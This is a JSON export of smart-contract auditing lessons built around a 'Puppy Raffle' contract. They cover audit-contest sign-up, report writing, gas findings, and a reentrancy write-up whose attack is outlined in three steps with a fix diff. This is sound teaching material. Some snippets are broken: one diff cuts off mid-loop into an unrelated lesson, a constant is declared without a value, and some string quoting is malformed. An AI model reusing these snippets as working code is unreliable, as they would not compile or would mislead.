"/routes/security/4-puppy-raffle/45-codehawks/+page.md", + "markdownContent": "---\ntitle: CodeHawks\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Starting Your Flight in Bug Hunting: An Easy Guide\n\nHello, everyone! Today, let's dive into the process of participating in your first code auditing competition, or as we like to call it - First Flight. Also, it's the perfect time for you to put your bug-finding skills to the test, thanks to an ongoing 'First Flight' code review competition. So, without further adeui, let's kick things off.\n\n## Your Ticket into the Flight\n\nFirst Flight is about to take off and it's time for you to be a part of it. Right now, the event 'Puppy Raffle' is offering you a fantastic opportunity to dive in and try your luck at finding the odd bugs in the code. Not only does this give you a chance to compete, but you also stand the chance to submit your first finding!\n\n![](https://cdn.videotap.com/TJBOFC6kVtUDQe7zHlIz-17.47.png)> _\"Since an exciting First Flight competition is going on - 'Puppy Raffle', why not use the write-up which we previously went over and input our first bug-findings?\"_\n\n## Making the Leap\n\nBe it the desire to learn, or the adrenaline pushing you to compete in a live, critical audit where real stakes are involved - the choice is yours. Remember, live contests are more challenging because they aren’t expected to have any bugs in the codebase. But if you're looking for a stepping-stone to level up your skills, these First Fights are just the thing for you.\n\n## How to Participate in Your First Flight\n\n**Signing Up on The Platform**\n\nTo participate in a First Flight, you need to sign up for the CodeHawks platform.\n\nFollow the simple steps below:\n\n1. Navigate to CodeHawks\n2. Click on 'Become a Hawk'\n3. You have a variety of options to sign up with. We're going to use MetaMask, but feel free to choose what suits you.\n4. After signing in, create your profile. A wallet address is required since CodeHawks pays out in USDC on the Arbitrum chain.\n5. Discord is the primary communication hub where you can ask sponsors questions. Telegram can be ignored.\n6. If you wish for people to reach out through Twitter, LinkedIn, or Github, ensure to link them.\n7. After filling up the details, hit 'sign up'.![](https://cdn.videotap.com/B7E2KwVjnd1XFN3KOGF0-96.07.png)\n8. Once done, a verification mail is sent to you, and once the email is verified, you're all set to participate.\n\nWith these steps, your registration on the platform is completed, and you’re ready to start participating.\n\n**Engaging with Your First Flight**\n\nNow that you're signed up, navigate to the 'Puppy Raffle' First Flight, scroll down to the competition details, and start exploring!\n\nHere, you will find all relevant data, including payouts, statistics, details about the First Flight - everything you need to participate effectively.\n\nEnjoy the journey of embarking on your First Flight and gaining those valuable bug-hunting skills. We wish you the best of luck in finding those pesky bugs and the amazing opportunity to submit a finding. Happy hunting!\n", + "updates": [] + }, + { + "id": "90ec3130-455a-483a-b279-35da3f014021", + "number": 46, + "title": "Submitting a competitive audit finding", + "slug": "submitting-a-competitive-audit-finding", + "folderName": "46-submitting-a-competitive-audit-finding", + "description": "", + "duration": 4, + "videoUrl": "JfdwciPRsd8", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/46-submitting-a-competitive-audit-finding/+page.md", + "markdownContent": "---\ntitle: Submitting a Competitive Audit Finding\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# How to Submit Findings in a Competitive Audit on CodeHawks\n\nWe've come a long way in this guide, and now it's time to learn how to submit your findings in a CodeHawks competitive audit. As you follow along with me in learning the ropes, remember that your write-ups need to demonstrate your skills and abilities as a security researcher. The better quality they are, the more chances you stand to earn additional rewards.\n\n## Start Your Finding Submission\n\nLet's start by submitting a finding. Turn your attention to the provided page with the message, \"You have no findings for this contest.\"\n\n![](https://cdn.videotap.com/tBS5umL1xzaBq36apSkD-26.91.png)\n\nYou'll see a very familiar setup. Navigate to the Findings page and extract your title, which you'll paste into the \"Title\" field. At this stage, there's no need to add prefixes or suffixes to your title; keep it plain and simple.\n\n## Root Cause, Impact, and Severity\n\nNext, deal with the root cause and the impact of the severity of the issue. Take for instance, if the severity is about looping through a player's array to verify duplicates, it could result in a potential denial of service attack. Per our guidance before beginning the audit, if you labeled this as a medium, make sure to maintain that consistency in this report.\n\n## Insert GitHub Links\n\nYou'll also need to provide GitHub links that are precisely related to the code base where your finding is located. For example, if the finding is within the \"for loop,\" direct the judges to the exact repo. Let me explain how to do this:\n\nReturn to the “First Flights” section and view the repo. Navigate to \"SRC puppy raffle\" and find the duplicate loop. By clicking on this line, you can hit \"Copy permalink,\" and then paste this in the respective 'GitHub' field in your CodeHawks contest review. That specific link stands as the relevant link in the code base for the contest.\n\n## Submit Findings in a Compelling Fashion\n\nWe're now at the stage where we finalize and submit the findings. The CodeHawks contest review is divided into several sections, including: summary, details, impacts, tools used, and recommendations. In order to ensure a robust submission, consider copying and pasting your write-up into the respective sections. If you have conducted a diff (difference) at the end of the audit, this information can also be included.\n\nBefore hitting \"Submit finding,\" you can hit preview to see how your submission will be displayed. Ensure it's appropriately aligned, grammar checked, and conveys your findings clearly, before submitting.\n\nAfter pressing \"Submit finding,\" you will be redirected to your report. Here, you can view and modify your submission as needed. When the competition ends, your report will be sent directly to a panel of judges for evaluation.\n\n## Rewards for Quality Write-ups\n\nIf you display excellent knowledge and skills in your write-ups, you might stand the chance of earning an additional bonus as part of CodeHawks's \"selected report.\"\n\n> Remember: The quality of your submission is paramount. An outstanding write-up could earn you a bonus prize payout. So, go ahead and show us how fantastic your write-ups can be!\n\nVisit past contests and selected findings to glean knowledge on how to make your submissions standout.\n\n## Building Your Portfolio\n\nAll your findings can be added to your portfolio, a perfect way to showcase your abilities as a security researcher. You can easily access your findings by visiting 'My Findings' in your profile. Take pride in your work and keep building that portfolio!\n\n## Wrap Up\n\nAt the end of the competition, the judges will review all submissions and findings, ranking them based on merit. In some instances, platforms might engage the community in the judging process. Keep an eye out for numerous opportunities coming up on CodeHawks, as this platform supercharges your journey into becoming the best smart contract security researcher.\n", + "updates": [] + }, + { + "id": "c7def483-fe9d-4db3-bcd1-33aa4330af86", + "number": 47, + "title": "Reporting templates", + "slug": "reporting-templates", + "folderName": "47-reporting-templates", + "description": "", + "duration": 3, + "videoUrl": "T2l1Fo7cy74", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/47-reporting-templates/+page.md", + "markdownContent": "---\ntitle: Reporting - Templates\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# The Art of Writing Github Audit Reports\n\nWelcome to this informative guide on creating top-notch GitHub audit reports. If you’ve been following our series of report-writing tutorials, then you're at the right place to take a deeper dive!\n\n## Utilizing Our Audit Report Templates\n\nFirstly, let's start by exploring our wonderfully diverse GitHub repository. You may recall this same audit report templating repo _\"password store\"_ from our previous tutorial.\n\nHowever, besides this, there are numerous other templates in the repository that can be of great use. Feel free to pick any according to your needs or project requirements.\n\n> ![](https://cdn.videotap.com/cAA0qGJ4X5O0Aj9Q0RNF-26.2.png)\n\n## The Power of Audit Repo Cloner\n\nNow, some of you might remember our good friend, the _\"Audit Repo Cloner\"_. This handy tool developed by our enthusiastic Cyfrin team, takes clone of a repo and prepares it automatically for Cyfrin audit report generation. In order to streamline our audits, instead of amassing all of our findings on a markdown, we use issues or projects on the repo and generate the entire report directly from GitHub.\n\n## The Report Generator Template\n\nWithin our arsenal, we also have a powerful ally called _\"Report Generator Template\"_. Forked from Spearbit, this phenomenal codebase performs a myriad of functions such as:\n\n1. Fetching all issues from a repository.\n2. Arranging them according to severity.\n3. Generating a single markdown file.\n4. fusing the markdown file into a latex template.\n5. Alongside producing a PDF version of the entire report.\n\nTherefore, knowing how to manoeuvre through our repository, using the correct tools efficiently, and utilizing our audit report templates is essential.\n\n## The Importance of Collaborative Audit Reports\n\nWhen collaborating with your team, instead of attempting to merge everyone's markdown notes together, you may prefer to add issues directly, inputting your findings there. In this way, not only does teamwork become straightforward but also these tools can automatically generate the report from the issues, reducing the effort required.\n\nLearning to write audit reports in this manner is a step towards mastering report-writing. However, since we're still honing our skills, we'll continue writing in one markdown file and then generate them with the help of our audit report templating codebase.\n\n![](https://cdn.videotap.com/Qf7EAUCbvffD1C79xCLb-100.43.png)\n\n## Mastering the Art of Report Writing\n\nSince report writing is an indispensable skill for auditors, it's time to practice writing an audit report. Not every audit will require a meticulous report; sometimes a simple Markdown summary of your findings will suffice. But as part of your training, you must not neglect to practice and perfect your writing skills.\n\n## Leveraging Proof of Codes\n\nAnother critical factor to remember is proving your findings with corroborating codes, known as _'Proof of Codes'_. These are extremely vital, particularly in competitive audits. A finding without accompanying proof could be easily dismissed or overlooked in favour of findings that offer clear validations. Thus, developing clear and concise _Proof of Codes_ is key to succeeding in both competitive and private audits.\n\nIn summary, compiling an impactful audit report necessitates familiarity with tools like Audit Repo Cloner and Report Generator Template. Integrating these with prudent collaboration and judicious use of templates can lead to seamless report generation. Lastly, let's not forget the importance of providing strong _Proof of Codes_ to give validation and weight to our findings.\n\nI hope this guide fills you with newfound confidence and propels you towards creating expert-level GitHub audit reports. Good luck with your journey! Keep auditing and keep improving.\n", + "updates": [] + }, + { + "id": "813dc962-8458-4d4d-9a82-8abf3d92639e", + "number": 48, + "title": "Reporting: Floating pragma", + "slug": "reporting-floating-pragma", + "folderName": "48-reporting-floating-pragma", + "description": "", + "duration": 2, + "videoUrl": "cfbv95INyKY", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/48-reporting-floating-pragma/+page.md", + "markdownContent": "---\ntitle: Reporting - Floating Pragma\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# A Step-by-Step Guide to Auditing Code from Your Search Bar\n\nWelcome to our step-by-step guide to auditing code from your search bar. Today we'll dive into the nuances of auditing, showing you exactly how we utilize the **@audit** tool to rewrite sections of a code base.\n\nFollow along as we jump into the details, sharing how you can take **@audit** findings, turn them into a comprehensive write-up, and even grade the findings based on severity. By the end of this guide, you'll have a clear understanding of the code auditing process and how to leverage it in your own projects.\n\n## Getting Started\n\nWe're going to kick off with a simple search query. In the search bar, we're looking for \"@audit.\" We'll scour the code base for any instance of \"@audit,\" creating a thorough write-up on each finding we uncover.\n\n### Our First Audit Result\n\nOur first instance of @audit involves an issue with using **floating Pragma**, which our Aderyn tool has already flagged in the **report.md** file.\n\nLet's take a look at this further.\n\n```js\n//@Audit: Info - Use of Floating Pragma is bad. Solidity Pragma should be specified, not wide.\n```\n\nSo what does this mean? In layman's terms, it suggests that solidity pragma should be explicitly articulated rather than left vague or wide. This isn't necessarily a critical issue (it doesn't pose a direct and immediate threat), but it's still worth addressing.\n\n![](https://cdn.videotap.com/MjcMkBDMLsjt5BWWw3v6-25.97.png)\n\n## Categorizing the Audit Result\n\nEvery audit result requires categorization based on potential impact. In our case, this floating Pragma issue is relatively minor. While some people assign it a 'low' level of importance, I prefer to label it 'informational.'\n\nIt's crucial to keep in mind that the classification of findings is subjective, open to interpretation based on the auditor's knowledge and understanding of the code base's architecture and dependencies, as well as its potential impact on the overall system.\n\nIn our audit data, we'll document our finding accordingly.\n\n![](https://cdn.videotap.com/VduK8PC4shE7VwpBA65s-44.86.png)\n\n## Building a Database of Findings\n\nAfter documenting the initial finding, we won't stop there. We'll want to compile a more robust database of audit results.\n\nWe'll return to the **Password Store audit** we worked on previously and extract both the \"finding layout\" and the \"report layout.\" We then create a new folder (let's name it **Audit Data**) and paste these layouts there.\n\nNow we have a structured template to work from for our code audits—in essence, saving time and maintaining consistency in our work.\n\n## Wrapping up the Audit\n\nAs we go through the process, we'll mark each `@audit` instance, noting that a report has been written based on the findings.\n\nIt's satisfying to physically (or digitally) tick off tasks as they are completed, providing that sense of achievement and progress. We're not just identifying issues; we're systematically working through them and documenting our findings for future reference and action.\n\n> \"...the objective code auditing is not just to identify potential vulnerabilities but to provide developers with an understanding of these weaknesses to produce more secure code in the future.\"\n\nAfter a thorough audit, not only will we have a detailed report of the current state of the code base, but we'll also have a blueprint for improving code security and quality moving forward.\n\nIn conclusion, the power of a simple tool such as the search bar, coupled with a little knowledge and understanding, can be leveraged to provide comprehensive and granular insights into a code base. Happy auditing!\n", + "updates": [] + }, + { + "id": "a347c526-6e3d-4572-a6ff-f4d920f10680", + "number": 49, + "title": "Reporting: Incorrect solc version", + "slug": "reporting-incorrect-solc-version", + "folderName": "49-reporting-incorrect-solc-version", + "description": "", + "duration": 2, + "videoUrl": "5Z2pLdZflQU", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/49-reporting-incorrect-solc-version/+page.md", + "markdownContent": "---\ntitle: Reporting - Incorrect Solc Version\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Reviewing Code with Solidity 0.7: The Pros and Cons\n\nAs a developer, you’re probably curious about why you should use a newer version of Solidity, like 0.8.18. Let’s explore the impact and the benefits.\n\n## Understanding the Impact\n\nFirst, it’s important to address the question, “What’s the impact?” The answer is not as straightforward as one might expect. The impact is not substantial in the sense that using an outdated version of Solidity like 0.7 won't drastically damage or otherwise hinder your code.\n\n![](https://cdn.videotap.com/edaCgFvPOqTsobkSJ0ml-8.43.png)\n\nHowever, upgrading to a later version could potentially improve your codebase significantly, making it more efficient and less prone to bugs. So, no significant negative impact, but likely a considerable positive one if you opt to upgrade.\n\n> \"Optimizing a codebase isn't about making massive changes all at once, but implementing small, incremental improvements that together make a difference.\"\n\n## The Findings\n\nLet's delve deeper into our findings. In our analysis of various codebases, we have identified several areas where Solidity 0.8.18 has advantages over 0.7.\n\n1. Better error handling: Coding is often an exercise in problem-solving, particularly when those problems involve unanticipated errors. Solidity 0.8.18 offers improved error handling, saving you time on debugging and issue resolution.\n2. Enhanced security: Security is paramount in any coding project, big or small. The later version of Solidity comes with added security features that minimize potential threats.\n3. Greater efficiency: As with any updated version of a programming language, Solidity 0.8.18 is designed to perform tasks more efficiently than its predecessor. This could translate into faster execution times and a smoother user experience.\n\n## Sugguested Actions\n\nGiven these findings, our recommendation is simple: Using an outdated version of Solidity is **not** recommended. Please use a newer version like 0.8.18.\n\n![](https://cdn.videotap.com/qRzJlT3UnClcrxWDMVnm-50.59.png)\n\nIn transitioning to Solidity 0.8.18 from 0.7, here are some next steps:\n\n- Make a backup of your existing codebase.\n- Install Solidity 0.8.18 on your computer (Here's a handy [installation link](https://docs.soliditylang.org/en/v0.8.18/installing-solidity.html)).\n- Begin updating your scripts one by one. Start with non-critical scripts to test the waters before you get to more crucial parts of your code.\n\n## Further Improvements\n\nFor further suggestions, we can borrow from the [Slither Documentation](https://github.com/crytic/slither). Slither, a Solidity static analysis framework, offers many resolutions to common coding issues. You can directly apply their tactics to your code to make it better.\n\nTo add to the report based on our findings, we've reformatted and used some points directly from Slither.\n\nAfter applying these actions, you should be able to note the enhancements in your Solidity code. From our experience, it's always better to keep up to date with newer versions of such languages, and Solidity is no exception.\n\n## Conclusion\n\nIn conclusion, while using an outdated version like Solidity 0.7 may not have a massive negative impact, upgrading to the newer version, like Solidity 0.8.18, can make your coding life a whole lot easier and more efficient. Happy coding!\n", + "updates": [] + }, + { + "id": "1a7e975c-377d-4962-a28d-e9f95e774968", + "number": 50, + "title": "Reporting: Unchanged state variables should be immutable or constant", + "slug": "reporting-unchanged-state-variables-should-be-immutable-or-constant", + "folderName": "50-reporting-unchanged-state-variables-should-be-immutable-or-constant", + "description": "", + "duration": 2, + "videoUrl": "EkpnQmJ3rdY", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/50-reporting-unchanged-state-variables-should-be-immutable-or-constant/+page.md", + "markdownContent": "---\ntitle: Reporting - Unchanged State Variables Should Be Immutable Or Constant\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Ethereum Smart Contracts: A Gas Optimization Audit\n\nKeeping a keen eye on your smart contracts' gas usage can significantly improve your decentralized application's performance. When conducting an Ethereum smart contract audit, one aspect we should never overlook is **gas optimization**.\n\nIn this post, we'll go over an audit focused on gas optimization. By the end, you'll understand why specific variables in your smart contract need to be set as constant or immutable and learn how it affects the gas usage and elevates your smart contract's efficiency.\n\n![](https://cdn.videotap.com/w2OveccwS4ZLVJV3AAGV-5.63.png)\n\n## Defining the Audit Scope\n\nWe'll start our audit with a neat organization. First, we'll craft a Findings section—an overview of the areas we intend to audit.\n\n```markdown\n| Gas (g) | Status | Description ||---------|--------|-------------|| G1 | | || G2 | | |\n```\n\nG1 refers to checking for the use of constant or immutable variables, a standard we will adhere to throughout the audit.\n\n## Diving into Audit Findings\n\n'Mutable or constant?'—that's the first question we'll broach. Answering it lets us decide which state variables should be declared **constant** or **immutable**.\n\n```markdown\n| Gas (g) | Status | Description ||---------|--------|-------------|| G1 | Unchanged | State Variables - constant or immutable |\n```\n\nFor instance, when auditing a contract regarding a raffle, we came across a variable `raffleDuration`. As it's a duration that, logically, wouldn't change throughout the contract's lifecycle, it should be declared as immutable.\n\nHere's an example:\n\n```js\nuint256 public immutable raffleDuration;\n```\n\nHere, we'll note in our audit findings:\n\n```markdown\n| Gas (g) | Audit Findings ||---------|----------------|| G1 | `raffleDuration` for the 'Puppy Raffle' should be marked as immutable. |\n```\n\nNow, we'll have to justify our decision. Hence, a brief description should be included in our audit findings:\n\n> \"Reading from storage is much more expensive than reading from a constant or immutable variable.\"\n\nWe mark this down as written and let's move forward.\n\n_NOTE: One should remember throughout an audit, chances are more similar instances may be found later. Always be on a watchful lookout._\n\n## Recheck for Constant Variables\n\nOur next audit target is a seemingly innocuous but incredibly significant feature of any smart contract—necessary constants.\n\nWhen re-auditing the same 'Puppy Raffle' contract, we found three variables that should ideally be declared as **constant**:\n\n```js\nstring public constant rareImageURI;\nstring public constant legendaryURI;\n```\n\nNow, we'll update our audit findings table:\n\n```markdown\n| Gas (g) | Audit Findings ||---------|----------------|| G2 | `rareImageURI` and `legendaryURI` should be marked as constant. |\n```\n\n```markdown\n**Remember:** Keeping your variables as constant when possible not only optimizes gas but also augments security by keeping those variables unchangeable.\n```\n\n## Conclusion\n\nConducting an audit with a focus on gas optimization is integral for your Ethereum smart contracts. It not only saves your users from paying exorbitant gas fees but also enhances your DApp's performance significantly. While `constant` and `immutable` are two powerful tools to achieve this, they're not the only ones. Nonetheless, we hope that this blog post has given you a good start on your gas optimization journey. The key is always to question—if a variable should indeed be changeable or not. A written plan always helps, just like our findings table here!\n\nHappy auditing and optimizing!\n", + "updates": [] + }, + { + "id": "87a6e0ce-8924-4e56-93f5-c290141ba586", + "number": 51, + "title": "Reporting: Zero address check", + "slug": "reporting-zero-address-check", + "folderName": "51-reporting-zero-address-check", + "description": "", + "duration": 1, + "videoUrl": "0S3h9kk3fXI", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/51-reporting-zero-address-check/+page.md", + "markdownContent": "---\ntitle: Reporting - Zero Address Check\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Info Check - The Importance of Proper Checks in Blockchain Development\n\nOne of the most common pitfalls when developing on the blockchain, perhaps even in general software engineering, is a lack of thorough checking mechanisms. This can be particularly problematic when dealing with addresses, more specifically, the zero address, in Ethereum. This omission could lead to significant implementation issues and can be an easy target for bad actors. While working through a recent debug session, I noticed an absence of this critical check in the logic. This blog post serves as a document of my findings and the process I used to uncover them.\n\n![](https://cdn.videotap.com/v36vdsgvIfzkWCRrdOOE-1.88.png)\n\n## **The Sight of an Omission: Info Check for Zero Address**\n\nDuring the debugging session, my screening tool spotted an information check for a line that read something along the lines of 'info check for zero address'. Under normal circumstances, this could simply mean that there's no current data for that specific address. However, in the context of our application's logic, it was an indication of an important missing check, perhaps left out unintentionally during development.\n\nHere's the scenario described in the code:\n\n```js\n// code snippet to illustrate the scenario\nfunction transfer(address _to, uint256 _value) public returns (bool success) {\n require(_value <= balanceOf[msg.sender]);\n\n balanceOf[msg.sender] -= _value;\n balanceOf[_to] += _value;\n\n emit Transfer(msg.sender, _to, _value);\n\n return true;\n }\n```\n\nIn this step, ideally, a check should exist to ensure that the `_to` address is not the zero address (0x0). However, the existing check was missing, which is a cause for concern considering the importance of the check in smart contracts.\n\n## **Documenting the Finding**\n\nSo, what was my next step? Documentation. To ensure that I could come back to it later, I recorded this discrepancy in my findings list. Using a simple system of classification - numbering each finding and using an alphabetical prefix to denote the severity (Critical, High, Medium, Low, Informational), I named this finding `I3`, marking it as 'Informational'. This system, though seemingly simple, is invaluable for maintaining structure and clarity in error tracking and resolution.\n\n```markdown\n# Findings- C1: ... (sample critical finding)\n\n# I3: Missing Check for Zero Address in transfer functionThe transfer function does not check if `_to` address is the zero address. This could lead to tokens being mistakenly sent to the zero address and becoming irretrievable.\n\n - File: contracts/Token.sol- Line number: 45- Recommendation: Add `require(_to != address(0))`\n```\n\n## **The Power of Copy-Paste Outputs**\n\n![](https://cdn.videotap.com/QeCT6VzhyrWrblKQYKrv-28.24.png)\n\n> \"The beauty of software engineering tools is their ability to make the developer's life easier with low-effort but high-value features such as copy-pasting outputs.\"\n\nBy just hitting 'copy' and 'paste', I was able to efficiently record the finding under the correct classification. This critical feature mitigates stress in the debugging process by allowing for quick and easy error tracking and resolution. It is even possible to directly link the output to the spot in the code where the issue was found, making the process of referring back to the findings and resolving them even more streamlined.\n\n## **In Conclusion**\n\nIn summary, this experience goes to show that even an 'informational' issue like a missing check for zero address can have far-reaching impacts if left unattended. However, the efficient use of debugging tools and a system for documenting findings can help a developer navigate through this complex process with relative ease. Therefore, it is always beneficial to consider, develop, and improve upon these efficient strategies for debugging. The power they wield often lies hidden in plain sight.\n", + "updates": [] + }, + { + "id": "b05095c5-9cdf-4737-8c9e-1c9c3d6b7156", + "number": 52, + "title": "Reporting: Storage variables in loops should be cached", + "slug": "reporting-storage-variables-in-loops-should-be-cached", + "folderName": "52-reporting-storage-variables-in-loops-should-be-cached", + "description": "", + "duration": 2, + "videoUrl": "dUhuByzlt10", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/52-reporting-storage-variables-in-loops-should-be-cached/+page.md", + "markdownContent": "---\ntitle: Reporting - Storage Variables In Loops Should Be Cached\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Blog Post: Optimizing Gas Usage in Smart Contracts\n\nDeveloping decentralized applications (DApps) or working with smart contracts can sometimes be a harrowing task, especially when you consider the cost implications of interacting with the blockchain. One of the most vital and significant components when working with DApps and smart contracts is understanding gas - the internal pricing for running a transaction or contract in Ethereum. There are ways to optimize gas usage in smart contracts, and we will go over one of those ways today.\n\n## Why is Gas Important?\n\nGas in Ethereum isn't just about managing fees – it's a fundamental part of the network's protocol. It's the fuel of the Ethereum Virtual Machine (EVM) - the decentralized computer that powers the network. Needless to say, gas management plays an essential role in the development and optimization of your smart contracts.\n\n## Revising Storage Access in Your Smart Contracts\n\nIn this post, we're diving into the issue of excessively reading from storage in your smart contracts. Auditing your contract, we recommend an enhancement in the way you might be accessing variables in a loop. This is often reported as a gas usage finding.\n\n> \"Storage Variables in a loop should be cached. Reading from storage constantly rather than memory is less gas efficient.\"\n\nHere is an informed approach to tackle this: Instead of continually reading from storage, cache your variables instead.\n\n## A Detailed Walkthrough\n\nLet's take an example, where we denote our storage variable as `G2`. This variable should be cached, but before caching it, we should check if its value is not double but triple.\n\nHaving ensured our variable meets the requirements, we can now see how to cache our storage variable.\n\n1. First, we need to create a diff.\n\n - A `diff` is a representation of changes between two sets of data. It is commonly used in version control systems to show the changes between two commits.\n\n2. Now, let's grab the original line, and paste it into our diff. Here, we're trying to replace an inefficient line of code with a more optimized one. The diff set should look like this:\n\n ```diff\n + uint256 playersLength = players.length;\n - for (uint256 i=0; i < players.length -1; i++){\n + for (uint256 i=0; i< playersLength - 1; i++){\n - for (uint256 j=i+1; j \"There are some findings that we're going to come back to and there are going to be some findings in this report...\"\n\nIn the realms of an audit, numerous findings can surface - some straightforward, others more intricate. It isn't uncommon to unearth certain findings that aren't immediately dealt with. Rather, they're documented to be thoroughly analyzed at a later stage. In our case, the MEV attack vector related to the refund function is such a finding.\n\n![](https://cdn.videotap.com/35BUNzg5F3kXUPMFBbwg-20.67.png)\n\n### The Art of 'Temporarily Skipping' in Audits\n\nHaving highlighted the presence of an MEV attack vector in the refund function, we're going to write it as 'skipped' for our current discourse. To the uninitiated, this might seem like a casual bypass; however, this is a strategic step in decomposing the complexities of a blockchain audit.\n\n![](https://cdn.videotap.com/p2tZttDRmeYG6uyTFwF2-24.11.png)\n\n```markdown\n// mev attack vector identified// Temporarily skipping - will return to in section 7.5\n```\n\nAn extract from our audit report, showcasing the \"skipped\" MEV attack vector needing future attention.\n\nTo sum it all up, this introductory overview of the audit has laid some groundwork on understanding MEV and how it intertwines with our audit. We've identified the existence of an MEV attack vector in the refund function, but instead of delving deeper, we've marked it for further analysis down the line. Keep in mind that this is just an initial glimpse into the labyrinth that is blockchain audits. Stay tuned for in-depth details as we unravel each twist and turn in upcoming posts. Till then, happy coding!\n", + "updates": [] + }, + { + "id": "a8dc1aa0-fbfd-4f90-bf52-13a07322c785", + "number": 54, + "title": "Reporting Reentrancy", + "slug": "reporting-reentrancy", + "folderName": "54-reporting-reentrancy", + "description": "", + "duration": 8, + "videoUrl": "tafpE_PVN6Q", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/54-reporting-reentrancy/+page.md", + "markdownContent": "---\ntitle: Reporting - Reentrancy\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n# Decoding Reentrancy Attacks: An Insightful Audit of the Puppy Raffle Refund\n\nHello everyone! Today, we'll be delving into understanding and documenting a reentrancy attack using the Puppy Raffle refund function. More and more, this kind of vulnerability rears its head in the world of smart contracts. It might sound like a complex piece of machinery, but strap in, grab a coffee, and we'll break it down for you.\n\n## The Impact Assessment\n\nHold your hats folks, this one's a whopper! I ran a test and discovered I could call the `refund()` function repeatedly, effectively siphoning money out of the contract the whole time! The impacts are significant. By exploiting this vulnerability, I could effectively drain the entire contract of funds. In terms of assessment, this is a high on both the Impact and Likelihood scales.\n\nLet's unravel this!\n\n## Exploring the Vulnerability: Puppy Raffle Refund\n\n![](https://cdn.videotap.com/o0EiNXj1ffsPqR9o05L4-50.52.png)\n\nHere's our culprit, the Puppy Raffle `refund()` function. In its bare form, it does not follow the prescribed pattern of **Checks-Effects-Interactions** that defends against reentrancy. As a result, it enables participants to drain the contract balance.\n\nVery interesting! Allow me to point out the core issue. The Puppy Raffle `refund()` function first makes an external call to the sender’s address (`msg.sender`). Following that, it updates the Puppy Raffle `Players` array. The flaw lies in this sequence of operations, leading to our famous reentrancy vulnerability.\n\n## Play by Play: Exploiting the Vulnerability\n\nAs a malicious participant, you could sneakily have a fallback receive function that calls the Puppy Raffle `refund()` function again, claiming multiple refunds. This process repeats until the contract balance runs dry.\n\nHere's a quick rundown of the potential exploit sequence:\n\n1. You, as the malicious participant, enter the raffle.\n2. You set up a contract with a fallback function that calls `puppyRaffle.refund()`.\n3. You call `puppyRaffle.refund()` from your shady contract, draining the contract balance.\n\n## Proof of the Concept: Testing the Vulnerability\n\nNow that we understand the mechanics, let's do a dry run. Here's the detailed methodology for our test case. Mind you, for the sake of a rigorous demonstration, I'll go ahead and showcase the full test suite.\n\n```markdown\nSUMMARY=====\n\n1. A user enters the raffle (Credits to ChatGPT for the idea).\n2. Attacker sets up a contract with a fallback function that calls `puppyRaffle.refund()`.\n3. Attacker enters the raffle.4. Attacker calls `puppyRaffle.refund()` from their attack contract, draining the contract balance.\n CODE=====\n```\n\n## Mitigating the Attack\n\n![](https://cdn.videotap.com/xXoG7dcQXxHHyvPl96re-370.48.png)\n\nTo seal this vulnerability, the `puppyRaffle.refund()` function should update the `Players` array _before_ making the external call. It's also advisable that we move up the event emission due to an associated audit loophole.\n\nHere's a quick diff to illustrate the required changes:\n\n```diff\n function refund(uint256 playerIndex) public {\n address playerAddress = players[playerIndex];\n require(playerAddress == msg.sender, \"PuppyRaffle: \"Only the Player can refund.\");\n require(playerAddress != address(0), \"PuppyRaffle: \"Player already refunded or is not active.\");\n+ players[playerIndex] = address(0);\n+ emit RaffleRefunded(playerAddress);\n payable(msg.sender).sendValue(entranceFee);\n- players[playerIndex] = address(0);\n- emit RaffleRefunded(playerAddress);\n }\n```\n\nVoila! We have successfully written up an audit for this reentrancy attack.\n\nThe world of smart contracts is an exciting jungle, and maintaining awareness of potential vulnerabilities is crucial. By understanding the nitty-gritty of attacks such as reentrancy, we can better prepare and safeguard our virtual currency. Stay tuned for more deep dives like this one!\n", + "updates": [] + }, + { + "id": "565e190d-95f9-4d4f-9091-637e52e2c61c", + "number": 55, + "title": "Reporting: getActivePlayerindex", + "slug": "reporting-getActivePlayerIndex-incorrect-for-edge-case", + "folderName": "55-reporting-getActivePlayerIndex-incorrect-for-edge-case", + "description": "", + "duration": 5, + "videoUrl": "ZMk0q50dCyA", + "rawMarkdownUrl": "/routes/security/4-puppy-raffle/55-reporting-getActivePlayerIndex-incorrect-for-edge-case/+page.md", + "markdownContent": "---\ntitle: Reporting - getActivePlayerIndex Incorrect For Edge Case\n---\n\n_Follow along with this video:_\n\n## \n\n---\n\n## Error: Index Zero\n\nLet's kick things off with `getActivePlayerIndex`. For some context: **if a player is at index zero, 'puppy raffle' returns zero too**. You might ask, so what? Well, here's a thing: playing with indexes can often get dicey and bring unexpected results.\n\n> \"If the player is at index zero, it'll return zero and a player might think they are not active.\"\n\nInteresting, right? And now to discuss **how impactful this finding is**. To get a full picture, let's try and see some potential outcomes.\n\n## Gauging The Impact\n\nDoes this issue cause any funds to be lost? Well, not so much. It does, however, impact the protocol rather severely. When players see that they are not active, they may try to enter the lottery again, which can be wasteful.\n\n![](https://cdn.videotap.com/niK93K7C7GGxiHEpocIL-74.4.png)\n\nConsidering the possible outcomes, we shall term **the potential impact of this as low to medium**. The tricky thing here is to assess the likelihood of this happening, given its unexpected nature.\n\n## Assessing the Severity\n\nThe severity can be considered low or even medium. But since no funds are at stake and the user can check storage where they are in the array, it's more like a good-to-have fix rather than a downright severe issue.\n\nThe subjective nature of this assessment comes into play here and different perspectives might find different solutions to be fit. However, let's move on to the course of action we would recommend.\n\n## Reporting and Fixing The Problem\n\n> \"I would argue that this is a low. I think it would be understandable if somebody said it was a medium.\"\n\nHaving reported the issue, we now set out to explain it like we would to a five-year-old.\n\n> `L1 puppy raffle getActivePlayerIndex returns zero for nonexistent players and for players at index zero, causing a player at index zero to incorrectly think they have not entered the 